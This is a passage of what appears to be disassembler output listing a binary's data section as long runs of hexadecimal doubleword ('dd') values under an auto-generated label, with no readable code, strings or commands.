606DFC74h, 1F8CE9F8h dd 0E2013B88h, 0A7E35E0Bh, 6D416B4h, 49DB000Eh, 6338EB80h dd 4B00D03Ch, 75E2D6B1h, 22432Fh, 23539F79h, 772A6E98h dd 0F7569300h, 0B165DE13h, 79FEA048h, 0D50600FDh, 0CC8D71E8h dd 28C083F2h, 0EA70AF18h, 0A0FC908Ah, 79801204h, 5BDF58E9h dd 7C73DB07h, 8F0CF0C7h, 0AE019BC0h, 0FBFC46Bh, 4AD417E0h dd 0FBE9E1DAh, 6359868Eh, 0A97FC0BCh, 0B427AA8Bh, 2AC21002h dd 404365CDh, 0A3C834h, 75F07823h, 2D12696Eh, 5030C7Ah dd 55E33541h, 0B551C197h, 77F90BCh, 0D3FD1D95h, 0C357013Ch dd 4965C07Dh, 276DC001h, 0A2B43FF8h, 0C811C30h, 6BD310DAh dd 0F609BE58h, 20366E4Fh, 3116C5D4h, 41600E5Ch, 8E21BD51h dd 4042C64Fh, 9126853Ch, 3146D806h, 0FB40BFAAh, 18B340ECh dd 4837A348h, 8008C42h, 2907D7C3h, 78190Fh, 0E261C88Fh dd 1421E3A5h, 6D9DD500h, 0FF574920h, 0A8EF07B7h, 0DCD18D90h dd 6B1C32D0h, 7B8F53DFh, 6CEC00FCh, 3EC9CF06h, 100B1BCh dd 28CD5F15h, 52007108h, 7A40A15Ah, 8C4EB2h, 82D98A4Ch dd 5373F2CEh, 65D42807h, 4160D871h, 0F58F702h, 5E9DA2D0h dd 25DBE9C0h, 0EA0E355Dh, 0E03DE16Eh, 0BF52D1F4h, 943604DFh dd 81671EE9h, 0F04214AAh, 5301D2FBh, 75ECA461h, 0A0DA8C34h dd 0A62D7794h, 91CA03CBh, 5718D9CFh, 24ED8FD9h, 86004820h dd 8C624EB8h, 19A0BEh, 0F7C3C87Bh, 0DEF3BDC6h, 353C6E12h dd 3D084015h, 0A700769Ch dd 38E122A5h, 0AE868A1h, 3A2AC9F3h, 0E67280B8h, 76E244EBh dd 506E262Ch, 10BF930Ah, 0DEE0813Dh, 4692BA3Fh, 7F5F8660h dd 0C77070h, 16082749h, 608C50D1h, 0D383C9C1h, 78F8333Dh dd 1D4700D9h, 0BB093092h, 320F7F48h, 46E72B6Dh, 5030CA03h dd 0B8B4E3B8h, 0DE8E007Ah, 46F0EEA5h, 1A7D32B6h, 0F5C180C0h dd 255F49h, 0CE0702E2h, 0BD34202Bh, 82B0D848h, 488FE55Dh dd 60182548h, 0AC4918F5h, 0B8009E09h, 7DF04744h, 0C2A6257h dd 0E97702ECh, 60500D0Ah, 183FC998h, 0A1480B8h, 0DAE0738Fh dd 63512C07h, 0FDC50953h, 77797400h, 0D200F41Dh, 86BE5A6Bh dd 0AE6AC0h, 0C2395C6Fh, 68C4A8D8h, 0D062781Fh, 7CBA9CEh dd 6DC096BAh, 76C85AA2h, 0EAA51394h, 0F1FA0020h, 0B960515Bh dd 0E7774500h, 6D4DED57h, 76D101C8h, 865E0547h, 0A55FEC0Bh dd 523683Fh, 3A225D02h, 629BCE00h, 106A09Eh, 0BFE2706Fh dd 0FC9750EFh, 0A50328AEh, 96B70226h, 595097BEh, 0FF981Fh dd 0B17D703h, 39E5C6FDh, 0B2094700h, 0CA658B6Bh, 0F0E2004Dh dd 4AA76ADh, 0AD905E68h, 83A3433Eh, 0A5134C8h, 57369038h dd 7770CCh, 0D7332A6h, 4EC00853h, 0E7978A00h, 6E3AA75h dd 1E51076Dh, 0C08F9D71h, 86A29C2Eh, 98F65500h, 44CD2DBCh dd 46C62C37h, 0F487073Dh, 1B0FAE8h, 0F620630Eh, 0CDDDCC3Ch dd 898E8500h, 4C668C35h, 3E990F4h, 6D0BBF5Ah, 2811F5FEh dd 9821CF41h, 67843F10h, 28E54AFCh, 2262801Ch, 450029Bh dd 2284A914h, 47227D16h, 57D710FEh, 174D08F7h, 22151D87h dd 8A28A350h, 31C94E63h, 0EF291143h, 50CF2884h, 15283B50h dd 96B314A0h, 88036B88h, 51C87164h, 7998019h, 7B863183h dd 0D4B561Eh, 8F81AA40h, 4C9596F1h, 0D0006AC3h, 52642A71h dd 0CA00F861h, 9623DB43h, 0B6101Eh, 42A10F58h, 1277CF74h dd 0C90ED3Dh, 5825ABF9h, 3A9E892h, 138DA103h, 0E8903174h dd 0DAF0483Fh, 71702100h, 49EA26AFh, 0CAEE00F5h, 85A4B18Eh dd 0A900E268h, 0B01846EFh, 0F8D6E9h, 0F36CCBB2h, 0E6FD80C5h dd 4C2E39h, 3756A846h, 96BD99h, 598A18Eh, 0C4F17867h, 0B23BD274h dd 0C0E300ECh, 858F3BBh, 91160027h, 5BD46902h, 0A400F03Ah dd 8D24ABB2h, 86F70h, 35748A9Bh, 0BB1A4E4Bh, 0C44D2600h dd 6BCE3CB4h, 2F9802DDh, 7176037Eh, 8755807Dh, 305C7Bh dd 0C0FB1BFAh, 0D9EE58CCh, 2FBCE94Bh, 0D06C0E05h, 1970062h dd 0A0EFEA8Dh, 873014E8h, 82999226h, 26974CACh, 2181EE00h dd 713804A3h, 58B9C8F1h, 0C4BAB700h, 0FFCBB337h, 7094A0A2h dd 0EF53004Bh, 2180C728h, 0BA1C2BE8h, 0A40075B9h, 0C6A8E6CDh dd 0FF540064h, 0EB6CF53Fh, 9901C4A5h, 0EEB677C3h, 89CCE7F4h dd 837A0064h, 103E69C7h, 7300CA79h, 2A193713h, 53FC31h dd 7CE6FE8Fh, 0FA9DB85Eh, 87220900h, 1A167B33h, 0D5AD0EFFh dd 7EC0B715h, 4D80DF7Dh, 48E00654h, 36F1F400h, 42CF9E7Bh dd 0A7EEA9h, 0E358D16Eh, 9B3012F8h, 0DD122BF0h, 0E80081A5h dd 0C1D6557Ch, 9BA7545h, 6F9D29DBh, 0D26C005Dh, 0CE59BDh dd 5664F720h, 0CBE9AD09h, 37EAB000h, 67C0DF4h, 0F6A4011Bh dd 0D5983EB8h, 0BD904126h, 3D6D480h, 72962707h, 0C8E32EF3h dd 0FDC7F456h, 1AB46D50h, 68F670h, 67423CD9h, 39059963h dd 11CC6500h, 0B9F6BDDDh, 0F8B7B0A6h, 0D628129Bh, 673007C0h dd 0EE77E334h, 0BC4E9AC8h, 0C53B0376h, 9964802Fh, 588DB585h dd 0C2AD0FF5h, 902ADC28h, 0FBE006A9h, 1031105h, 0BF9CBB1Bh dd 0A251E860h, 167EFA59h, 40C71E0Dh, 4B611D28h, 0D0487214h dd 0C69B0074h, 0FC5DA4FBh, 0AC50006Fh, 0E4B522ECh, 0F05D87Eh dd 24C3917Ah, 97DFA1C0h, 1E410082h, 424B13C0h, 513FF133h dd 62D7979Eh, 80277307h, 9A1B8200h, 0E6540057h, 8B488EADh dd 3EE2CBF3h, 370E19B8h, 76ACFABAh, 0C70F7900h, 106CD98h dd 0B8779BFDh, 0DC2F18B4h, 0DE0A3B5Dh, 0BC298BE4h, 2B8C6E80h dd 243DE61Fh, 0CB1D4h, 914A522Fh, 4607D55Ah, 0C78AA9EAh dd 10CC0180h, 918013Eh, 70450336h, 2508DCC6h, 2023CE00h dd 0F84E39E0h, 0CDC90BC0h, 0C70030B0h, 4F45D12Ch, 35C5E4Ch dd 67C55A3Fh, 16808F13h, 41D7428h, 36603C03h, 1918D0D0h dd 9D07C26Ah, 0E7DFADB6h, 52E9EAD0h, 8AC3248Bh, 670F41F4h dd 0A080CAC4h, 0BF458D0Dh, 68C776B0h, 0EC65E885h, 1C4AB00h dd 95FEBh, 2BA60FDAh, 0C84AD950h, 0A0BF3D03h, 0A8688161h dd 0BCFFA3h, 16576ABDh, 9072320h, 88C88B00h, 623721B9h dd 0C51C0F1Dh, 0A96087F2h, 97EE3628h, 0E8A27301h, 3CBB30C9h dd 0A79FE4h, 2F776760h, 0CFDEBCB0h, 8900E37Eh, 0D54709D7h dd 0A3252Bh, 2A3E9566h, 81F5A29Ah, 6CEB7C1Eh, 8765EA41h dd 0CF40C8B5h, 520AEFh, 30A71069h, 0F2B4BA34h, 918ADD00h dd 0C34FA822h, 0B6F400CCh, 0DE749F97h, 0FA00362Eh, 425E9C98h dd 7A4022h, 81620D14h, 54296771h, 0D8C07226h, 0BCBF3600h dd 3AE147F3h, 23801491h, 0B1023E05h, 4300E7C0h, 0EA689AEEh dd 17FA034h, 0F70B6F39h, 0E8D0E54Eh, 3B38298Ah, 4B86012Dh dd 0F49D822Fh, 0E86D4460h, 445C8001h, 9943D402h, 0C0045222h dd 0B18A7648h, 0AE1F8344h, 39987B82h, 0A8928732h, 0EEF9630Ch dd 0DA300Ah, 0F8E0A0AFh, 4D1D21B8h, 7AF4BC00h, 0BD11A3EBh dd 3C07005Bh, 7E392DECh, 2000D6FAh, 0C2748E1h, 1DBF31h dd 2B5CA086h, 60EA7518h, 2287C400h, 5BF47DB9h, 66316734h dd 0CAD2B0F5h, 92071F65h, 21510B5Ah, 0DD01925Eh, 7C3327B8h dd 53AA20h, 0B3B250D4h, 3B56BEDDh, 1CE87700h, 925A851h dd 0B173ABh, 0F8D9A74Fh, 0EC773894h, 0C92ADD00h, 783CC72h dd 0A75100E0h, 22E72B7Eh, 61E2B7B4h, 8858DF00h, 0B97653BCh dd 0AAD000A3h, 0FB3A39B1h, 1218254Bh, 94B0FC8Eh, 56A701CDh dd 0A22BDBE4h, 79EC700Fh, 2C69C500h, 2653F2C7h, 61A600FAh dd 0BADAE85Ch, 7D00D3C2h, 818F32AEh, 0FE4933h, 9F6D036Ah dd 0EED0B0C0h, 0C2BCFB30h, 79E9B7h, 851C145Dh, 0ACAA6E48h dd 5BF5639h, 37CFFF75h, 50AB80FFh, 0B00580Eh, 0C7E8B0D3h dd 165DC32h, 8A187962h, 0D27A1DBCh, 1602F85Dh, 0D07F21h dd 2E89F388h, 4E07F23Eh, 0FC19B428h, 0AEB60A40h, 0A27E00E6h dd 0CACCDC26h, 0EDB86C0Fh, 55ECF37Eh, 0EC74DFEAh, 721A9207h dd 0C800895h, 458502h, 1FF2A254h, 23EC6A3Ch, 47377B00h dd 0ED87AF72h, 0B2C30FCDh, 0C8600332h, 0E128C944h, 7C319D12h dd 5DF80800h, 0DD4094h, 6CBA0C2Dh, 0F1904F77h, 0B7B0700h dd 61953DB1h, 47541C8Ch, 81BA0099h, 43BF6EEDh, 0A2773214h dd 9858A0h, 7CF69555h, 31B804Fh, 6BCF2E0Ch, 79B1D46Eh dd 54D3C0C2h, 9D65920Bh, 1D9BF68Bh, 0DF74C0B7h, 0FBA0B6BEh dd 0F0950200h, 9E660C1Eh, 230D0FA3h, 4D607D46h, 0E0495617h dd 7EC4E100h, 7AB20521h, 0D5C92ECFh, 86410055h, 0B692BE25h dd 939864FEh, 22DA910Eh, 84C0CA70h, 2D149F07h, 57AD48A1h dd 76FD1CF4h, 0B38500DBh, 0E4CC61Eh, 0E7001F5Ch, 0DC69F5A9h dd 0E28B3C93h, 0E34B00BCh, 7D1E203h, 0FC0486DBh, 3C51E16Dh dd 25008E09h, 193EEE21h, 13D71701h, 0A0E41129h, 0C4F0A1C1h dd 0A56D006Ah, 0FA6450C6h, 3100C14Bh, 29EFA09Fh, 0A0C5B2DAh dd 4561A4h, 261BA7F3h, 0F6C252FFh, 0C0002372h, 0EA3D3764h dd 4A5F27h dd 10179B03h, 0B48D2A6Eh, 85EC8800h, 488B360Eh, 1569002Ch dd 831FDC77h, 401CC20Fh, 6E403EB4h, 412F02F8h, 0C16901E7h dd 6888ECB0h, 0F464FDDDh, 6100B65Ah, 31C3741Ch, 0F899E6Eh dd 3A58C763h, 0A381C240h, 8700F078h, 0C3A0ECA8h, 0A5691B8h dd 0C8016568h, 193B00B4h, 0D0A14CACh, 8067CA3Eh, 2A257CA3h dd 1F6B5AB8h, 39343515h, 4508F301h, 0D86D9598h, 0AE0085E7h dd 0E59ED369h, 44D2742h, 98254587h, 264A023Fh, 0DF0014F0h dd 7C3C0CB0h, 0FA7AB8h, 0EA12404Ah, 30255646h, 6C773709h dd 57C803Ch, 1C7ABCh, 21CD26D0h, 8923B66Eh, 9F087C00h dd 0B8A28C5Fh, 53B0003Fh, 0EC82C771h, 0BA0B48CBh, 7D8F0C03h dd 61FB2900h, 101E3DA4h, 91B04FADh, 7B3FD29Dh, 0D3EF0F06h dd 386031C5h, 33FD3D81h, 196B2602h, 802C1293h, 8CEAB5F8h dd 783B00DEh, 0D4CCF403h, 0B600AB3Eh, 17E970E8h, 1DA39677h dd 2CAC9F42h, 0B32B005Bh, 305F7102h, 4C7D401h, 0E5119D3Eh dd 0C9AFECh, 0F239B28Dh, 9E57773Ah, 0DBBEB50Eh, 0B091A358h dd 8AAFB8F1h, 1F03F8EBh, 47CCE846h, 614386F8h, 0F482F56Ch dd 913B7669h, 8B4C09D6h, 0A1C081A4h, 94DC211Ch, 10050813h dd 0BC70D2h, 2857D712h, 5CD381h, 0B490A8E4h, 0A7E14E1Dh dd 92508B17h, 1CD0CF00h, 3AB6C25Ch, 1A0070FEh, 0DCE7D63Ah dd 5205796Ah, 0AF15D84h, 0B0A0F487h, 5A30BB5h, 0B76BD96Dh dd 0C918C0CCh, 50128F5Dh, 5EEAE59h, 0E08942Ah, 0B8C0FEECh dd 975B0F2Fh, 0C97DDC00h, 158AE64Bh, 0B2300CCh, 32CE2444h dd 1800268Ch, 530E73C0h, 0D8AA96h, 41ED5210h, 2D4A890Ch dd 0C108C81Dh, 71B0DD40h, 1DCBA5Bh, 127C52EFh, 64F71F4Eh dd 1007A440h, 2D3C71B7h, 0AF946D20h, 0DBC30027h, 0D9D698A0h dd 370C3D02h, 0A8302C67h, 69BD2475h, 0ACCE8F40h, 3974B1A0h dd 7D00EE82h, 0CDF27154h, 0EFD28F7h, 70431395h, 0FEECF380h dd 8900B7CAh, 8D8EBF0Dh, 1FDA3079h, 7D1E4FC8h, 0E8F82C00h dd 0FE48BDF7h, 45C7E501h, 0DE583E4Ah, 723A5D8h, 6AE83794h dd 1579E310h, 21BBC580h, 0BE47880Eh, 8D1419Fh, 32F82522h dd 0E6FC003Ch, 0A86D7CC9h, 292D19A4h, 1C05D4F8h, 0BC414F10h dd 2C6A9920h, 0D01CA740h, 3880F9E7h, 5C781EBBh, 0F8CB0001h dd 0B717E69Fh, 67037B54h, 4BC6B44Ah, 465AA00Ah, 55F8007Fh dd 0D024FEFFh, 477D10Bh, 0A07C0600h, 9ED1EE8h, 2CC2019Bh dd 0CD286F98h, 4E01D012h, 0E29ADD00h, 0A4152AFh, 0FC9F00D4h dd 0C142E81Eh, 29005EF5h, 220B99CCh, 0C07BA9BBh, 198F4150h dd 0A2004991h, 510F3021h, 773433BCh, 0C6ED1B63h, 1DC0286Eh dd 0D57AA560h, 89176905h, 0AB00968Dh, 80BE8A40h, 299500B2h dd 8F88EDF1h, 9A00784Fh, 0DEA19D69h, 38AC1AE7h, 9581F88Bh dd 0BC504366h, 0D1FEFC34h, 291F370Fh, 8A6C4036h, 3027AA7h dd 0FA5C7B14h, 0D0FFBE53h, 0FBF17C17h, 392F8B00h, 0A98533C5h dd 494B023Bh, 2A3DEC2Bh, 3F4816E0h, 55E6681Fh, 69DC1801h dd 10806B6Dh, 0C5AF59D0h, 9A76ED41h, 0C887DF00h, 82777015h dd 0B862F8F7h, 3D477AF6h, 0B28FF0A8h, 88C0CDBCh, 64C53FCh dd 73E70E00h, 0DD34C4A7h, 3061001Dh, 0C76F8D02h, 660197A9h dd 7AE8FEBEh, 0FDD827A0h, 7A25902Eh, 0F1DB0336h, 0A5E760CEh dd 8BDD8609h, 0C159005Ch, 70570E2h, 16FE5D8Eh, 6F763089h dd 0DB0125B8h, 670D4B3Ch, 9FEB99C4h, 0AC34F5B0h, 9907610h dd 8F9D1E18h, 924B6682h, 0CC49880h, 3500AF20h, 0CD68B48Ch dd 0B1C6357h, 4B23FAB1h, 834D8900h, 46001314h, 5E3ED97Bh dd 4F783Ch, 67E8F3F0h, 48C87309h, 5A61B000h, 94BDFA9Bh dd 587500EDh, 2EAB7B3Bh, 0C0086C5h, 731E7C50h, 12DFA1ECh dd 2057FAF5h, 495E866Ch, 2504027Bh, 3814CBA9h, 0B0E2AC80h dd 1D360031h, 97F05029h, 2890C347h, 8148A603h, 0D82C8D78h dd 8441E6h, 6DE4C501h, 58F762E8h, 0AB1B0400h, 0D1EAA289h dd 0D260007Fh, 204022C6h, 5F0992CEh, 0D6A99Bh, 0DD310880h dd 0BCB63F27h, 55233700h, 0A2FD7C90h, 5006D400h, 0E3A5186Eh dd 0FF02001Fh, 0DF289F3Dh, 0D707FDD6h, 659DADA7h, 52E75560h dd 0F8970346h, 0E00942FBh, 9EF70298h, 0E6735E00h, 1F0E516Fh dd 0A06803D2h, 5C8074DEh, 4095A6E8h, 0C0FE23F2h, 2BCD4E00h dd 0D2CA546Ch, 0B65F077Dh, 0CA46FC9Ch, 790580C4h, 0FFF58D36h dd 77447000h, 0E5BCE3DDh, 4C250E82h, 3D807BEFh, 0B511EB2h dd 0EB03147Eh, 1A34AE2Eh, 4E8CB8B0h, 5DD530A6h, 65D6BFB8h dd 0C2EC6402h, 407D44B9h, 0FCEEDEE8h, 3BE1FF7h, 0E1AD8078h dd 0BD79E084h, 2980B54h, 70604C33h, 4DB390DFh, 0D51F00F0h dd 3E28D180h, 0B5005E61h, 363C9C10h, 0FC8A661Ah, 5D331D81h dd 0B84540C4h, 0C6EE6D24h, 86BEBD00h, 10FF9CD2h, 43F485Dh dd 604C2A2Bh, 10572A4Fh, 1E117600h, 293DEBE1h, 96490C7h dd 7BCA7F7Eh, 90E43C80h, 85048AA9h, 383308D7h, 0E80F30C0h dd 4A050056h, 0EF0D7FEEh, 26001753h, 2152F1E1h, 0EA6EFDAEh dd 13F80948h, 0F40079A9h, 0D304A5BEh, 4F808100h, 6A642F45h dd 0D0343DB1h, 9CBC4B00h, 8019F2BEh, 5378E200h, 0C9CA8779h dd 785B601Ah, 0F560C8E8h, 3E94C503h, 0A6225EFEh, 826440F0h dd 44E63A01h, 0DFBBB731h, 0E692B70h, 3EC133A2h, 0C9999F20h dd 0A500A056h, 0AA26EC37h, 3B1DA98h, 73C4F27Fh, 4CC8BB34h dd 5500242Bh, 0F682D4F0h, 142567Eh, 0D75B0E85h, 0C072C0D8h dd 0B477963Dh, 0D3741F0Bh, 0E39B809Ah, 3BE0B566h, 0A5803FE6h dd 0D5EF8512h, 5A004156h, 0AF480735h, 0E6601Fh, 8F83BD6Bh dd 37BF2A62h, 54913A00h, 0D861248Eh, 6941FA0h, 954000F0h dd 6C315230h, 95FE718h, 73CFD0h, 5AFAF6D8h, 88404FA6h dd 4CBE60BFh, 0A230F90Eh, 49AF0EDh, 0ABEAC751h, 0E4FFC08Ah dd 0E90149D6h, 0A80785B4h, 99E8FF86h, 0E37003AFh, 0AE73961Bh dd 971311D0h, 0A7F70600h, 0F68AEAC8h, 521A0012h, 0ECEFC18Eh dd 590326CFh, 33363EDBh, 953D86Eh, 275F00FAh, 0FEC06893h dd 0CD00943Dh, 4A102D03h, 0E3204Bh, 0B9B26B99h, 9D31D1Eh dd 531403EAh, 84432Fh, 38C4579Ch, 9033E1h, 16CF3261h, 9B3A493Fh dd 0F60627EAh, 56C4DDECh, 0D8060094h, 29C7A2FEh, 46304068h dd 0CCDA485Ch, 5FBA003Ah, 7320DC3Fh, 60009502h, 625D4BB4h dd 30B22BE9h, 0F8C0DAD2h, 99B85418h, 0A50383F6h, 4615776Bh dd 0A04DA8C5h, 0AA29C0D8h, 624E389Bh, 17F03FF6h, 0A400F698h dd 0DA39255Bh, 0F6BCA46h, 3B4869AFh, 53EE7080h, 0E51E0D21h dd 90E87825h, 0D2A2CA00h, 8242AE8Dh, 0FCA80346h, 2B8C37CFh dd 0A6C2EBB8h, 14FB880Eh, 3D078412h, 969EF6C0h, 3E86E644h dd 1800F287h, 8F592A1h, 2029A5Ah, 55C9FCB3h, 3BD3408Ch dd 0F42500EFh, 0D24160EBh, 0DA172DB4h, 0DA00E4B9h, 23F7D07Dh dd 0A3740Bh, 0F6A9465Eh, 3FA8CC0Dh, 80FFF839h, 17D2D1FDh dd 3C76264h, 0E229E411h, 71AF09B5h, 0E049D0F6h, 79006DA4h dd 0CE915DBh, 70832ACDh, 761A00F5h, 0F3888465h, 7E715157h dd 0FCC99B00h, 0E611076Dh, 752A005Bh, 0FB3C387Ah, 0D700A540h dd 15CD8FB7h, 76C1482h, 93A406A0h, 0E75C60DBh, 6A0087B1h dd 0B4330BFFh, 0CD6138h, 78BA8F3Ah, 0B6F5276Fh, 2BA4B300h dd 9026CC9h, 0A8AB0045h, 0F4408B83h, 0B01F223h, 0DB89EFAFh dd 0E130B086h dword_4D02F8 dd 3EE23A99h, 77117C80h, 9F9180F8h, 0DCC8CD00h, 0C3D5B266h dd 247CE46Dh, 80784A30h, 0E981AFF9h, 62003A57h, 0C45B8B1Fh dd 4148EAh, 0BAC1C0C2h, 826011C6h, 6D014890h, 9594E0FAh dd 7C201F58h, 81C2CC27h, 39011251h, 69A4F88Dh, 3C302DB2h dd 7F75001Dh, 5165FFFCh, 0C4008CECh, 6DD63AA0h, 613615h dd 0FF236031h, 1384276Bh, 0D5C93300h, 0A0ABCDA7h, 0B171033Bh dd 522B80F1h, 69423100h, 0CFBCBE56h, 2CEC0E88h, 0D0E34798h dd 4000F7A1h, 3FA560D2h, 902E1C95h, 4D46C8h, 26761FB8h dd 7C7387DAh, 2E4929Ah, 90E72091h, 0BCE10CAEh, 41E98207h dd 4008BF05h, 2D07B7Ch, 0B465B47h, 6460FC75h, 230CD62Eh dd 80C27286h, 0E038EE80h, 4C492CA1h, 524E1345h, 546A000Ch dd 0D6B22C55h, 290060E4h, 20F5438Eh, 0F445DDh, 3EADF2DAh dd 5E628BFAh, 0D6923100h, 0E94686FCh, 0DCEA1D01h, 2950B0D3h dd 1818FACDh, 0F9A81DCBh, 0E69000A8h, 0EC4CE7DFh, 123C924Fh dd 32D980EDh, 4B8B7498h, 1B0E8BDh, 446BC645h, 40DF0A83h dd 765A21E0h, 209CD900h, 8743E2C5h, 9ED70006h, 8AED17D3h dd 5B1993DBh, 2CB8B172h, 1998B430h, 0F8F3E67Ch, 0FB30603Eh dd 0F80E32ECh, 9E52FA8Ch, 2EC74300h, 5882C5h, 0E66CA888h dd 13809EB8h, 0CA117700h, 4A67A357h, 5972009Bh, 613165A5h dd 0CD00F43Ah, 39AD34DFh, 8C1D0Eh, 889C5482h, 48B3600Ch dd 7F7B84A0h, 91F0D407h, 43B0AA63h, 0F8AB3AB9h, 0FCD907B5h dd 0C0716435h, 93745C86h, 1F90B40Ch, 0BAF6ACh, 80F3E423h dd 0D58FA870h, 0AC74C039h, 8D043CEFh, 9F40B802h, 13EADEA1h dd 1CE9E00h, 854B15C8h, 977700DFh, 0E924CB4Eh, 527986BCh dd 0E8A5A126h, 3103F839h, 86D87F3h, 98660F2Fh, 63C00F3Fh dd 5228AD18h, 98599A24h, 84002E16h, 7306DD4Ah, 5EE60ECBh dd 49659821h, 83DC5CD3h, 20A12AA7h, 0AFED1800h, 0CDAB90D2h dd 0BDEF0091h, 0E7C8E3BFh, 9C078482h, 0C139562Bh, 0B09AD260h dd 24C37136h, 483520h, 7A777CA9h, 0F4FCB582h, 3065F113h dd 14F63802h, 988BA0FEh, 0FB68696h, 3B62B364h, 72B508E0h dd 0C1145257h, 1A5DEF4h, 0FCC527AFh, 0CBCCFE2Fh, 17E7052Dh dd 0D118075Fh, 0E39E2BBBh, 1E84E800h, 5E7C25C8h, 0A091242Dh dd 0D7E1001Dh, 52C64648h, 57E74700h, 8E36EF24h, 0C2C9001Ah dd 73CA9A0Ah, 9E00879Fh, 888317EAh, 4C0B1Bh, 74443678h dd 7A25CF56h, 0BE00C8E6h, 0FD2F0353h, 0FB25DFCh, 17EFC94Dh dd 3D941861h, 0A8BC40FBh, 37C6541h, 0D20D681Ch, 814D6900h dd 0B2E6BCh, 601CE912h, 26D588BDh, 74CF8607h, 3A80FB2Dh dd 0D9C897h, 0F71CF637h, 5B6E20D8h, 7A815E00h, 1565E202h dd 377F00C9h, 0E3C327B2h, 0B009F83h, 298EA49h, 53091Eh dd 0D37768EEh, 0EF7CBEB1h, 651B2300h, 0D729238h, 1FE33942h dd 0F3BDA201h, 60462C81h, 5B0071B9h, 5ACC6867h, 0AE858Bh dd 7E2664C9h, 8FA69FDAh, 35CDEE00h, 0C1911ED1h, 0A9B1005Bh dd 5C83FAB5h, 0E609C06Ch, 80986F66h, 0B89DF0D6h, 0BCDC5BB2h dd 909E003Bh, 0F35E1217h, 0D4E618h, 0F90FCC40h, 0C70EBCEEh dd 0E023AE07h, 0BA60772Bh, 71E3302h, 89F007A5h, 0B7E4C0ACh dd 87E6F663h, 5E20BC60h, 8AD8E5h, 0D62FAB18h, 91E4F827h dd 6BDCC300h, 3FAA3D6Eh, 47060760h, 60258EE9h, 4E5010F5h dd 3640BB00h, 1329B052h, 0F26200E5h, 11677612h, 6E037786h dd 7FB6C67Bh, 8A63F8A3h, 0D878009Bh, 0B44D9DF1h, 0F0079C9h dd 95C1E2A4h, 77E307ACh, 998700D2h, 211B9BE8h, 751DC88Dh dd 0ED002B0Ah, 6A2C5490h, 9618C029h, 0BB09B8B7h, 310BE500h dd 0A01D3BE7h, 7945046Ch, 0C0323058h, 0D6AF1009h, 0C1DE7703h dd 90AC6A59h, 56CB48h, 0CD8DE617h, 66A528D7h, 0BCE44701h dd 29E30E5Eh, 310CC4h, 9826B755h, 0AC65B828h, 0C141C500h dd 6F8A3FDCh, 0D89D00A9h, 0EC68A78Bh, 1C075125h, 5D811FA1h dd 2C2ACA91h, 3341DC4h, 0A4A8DADDh, 1A98E558h, 1E00FA8Dh dd 0D3725261h, 146E995h, 10B4FCD0h, 0ECA66EB2h, 5300917Dh dd 18FD3979h, 3F749CF7h, 702A35D4h, 66FC00A4h, 23504C71h dd 75073A9Ah, 0EFBA93F2h, 7F2EC2D0h, 67A70165h, 180937E0h dd 0A1ED8F9h, 802A913Eh, 60959BF5h, 6622E2h, 8B56D66Eh dd 0BEA7F17Fh, 4AAA8000h, 5DB4916Fh, 0A3A01FB8h, 8DA840E2h dd 7BBACD14h, 77967A00h, 766E488h, 78FD6FFCh, 97038C80h dd 0D707A6EAh, 0D8B1DA96h, 8FF4876Bh, 385B071h, 67FDA087h dd 87393CD2h, 6E48BE07h, 5A474E88h, 41184906h, 0EEA3E389h dd 9F01174h, 0A4F3D60Fh, 1E2F80C4h, 0CB7EE565h, 9A87A621h dd 69E826FDh, 35401D08h, 6A003C46h, 57FA6F0h, 0ED76C304h dd 443D20C8h, 6BCC0368h, 8747E2A2h, 0C1F1600Ch, 0A8835687h dd 0CB78C928h, 8958AFE0h, 3AF1461Fh, 0A4C4DF5Ch, 9B8026C3h dd 71822D05h, 0B3C3C8Bh, 919D4E89h, 0A2ED0780h, 0CE00306Ah dd 35380FE9h, 1D73011Ch, 0C0B691AFh, 85EE1FD8h, 0D000085Bh dd 0A3B4BD0Eh, 554CD5h, 0D6B94FAh, 917AF571h, 0BBB64A0Fh dd 0ADFF4015h, 14F699D3h, 0E0E95F2Bh, 0BF30B000h, 1F52BC64h dd 9B07547Bh, 0BB044F27h, 15084EA3h, 0A846609Eh, 0BF07C73Bh dd 0C08F4750h, 0C506E928h, 36E2A805h, 0D840FADAh, 6BA91B0Eh dd 48B60688h, 806B1C6h, 0F0211660h, 0BBA990h, 13C35E5Ch dd 0BA24C745h, 687C58C0h, 142EFD31h, 0D48ACBCDh, 3A6FDC80h dd 69068F19h, 816746DDh, 21F86008h, 1A3A7729h, 0FC44910Ch dd 1A4798B2h, 58AF50C7h, 5E2CD428h, 0A400E046h, 66752D80h dd 8C0C9E20h, 20BFAE3Bh, 6A7BFCh, 3D76EE68h, 0D1BBE480h dd 6CA96E01h, 0C38EEDB6h, 3F2996h, 0E1847270h, 64170280h dd 7A059C92h, 0A43EE80Ch, 813E0C23h, 448F404Ah, 4883D1B8h dd 0B227D793h, 2FF0F860h, 0C0BBBF77h, 210D9110h, 6F00ED96h dd 0FF9BC707h, 0B86FC40h, 5B99E62Ah, 0B442688Fh, 0CCE0267Eh dd 20031EF8h, 520DFA69h, 0DB94B846h, 0A006005Ch, 0BF7E96F1h dd 78002C7Fh, 0A548FFA8h, 1E32FA87h, 0C0BDB004h, 0F85890AEh dd 0CF8867Ch, 8D13811Dh, 93951030h, 619CF79h, 7EA84521h dd 1130835Dh, 0FE18E24h, 82C87170h, 88118B8h, 7341FF60h dd 0C0980670h, 4587A618h, 8060CAC8h, 0D1C50510h, 23700E9h dd 9DD6BB10h, 0C1003C63h, 89CAAAE5h, 1C6414D7h, 806C5476h dd 0BFE1A33Ah, 1A0F3CD6h, 20B13430h, 372F0ABBh, 80F00367h dd 0AB76CE87h, 0B506188h, 40094EEh, 18894B20h, 3B79DD24h dd 0AE006A9Bh, 5D575F80h, 1C00D0C8h, 0F7BAFCC2h, 730AEBh dd 0ED84D59Ah, 1D35B8AFh, 34519C00h, 6EF7CCACh, 0E13F0077h dd 34CF9DDh, 0E60018D5h, 51D7CE62h, 1D18AA4h, 0B301A96Ah dd 20766CA8h, 5A0080CFh, 0BEF67A32h, 5F7213h, 0C20BD333h dd 905EE78Fh, 594C44EEh, 83E0047h, 416E91AEh, 0F0D57B21h dd 0ED9000CEh, 6C4F401h, 267D79C7h, 8FA90B00h, 437E4845h dd 1E0A074Ah, 0D0B14C47h, 53BA92EDh, 0A4FB3C00h, 15B0DDCBh dd 208F4C65h, 12E76700h, 0CDF034A7h, 192EF500h, 4DCBEA51h dd 655B003Eh, 544F8106h, 0A8005644h, 6BD027F5h, 0B0E6A12Eh dd 0C16F0126h, 0FAC33173h, 9529E09Eh, 847CF500h, 7865AB16h dd 7DA3001Eh, 0AC1F44DBh, 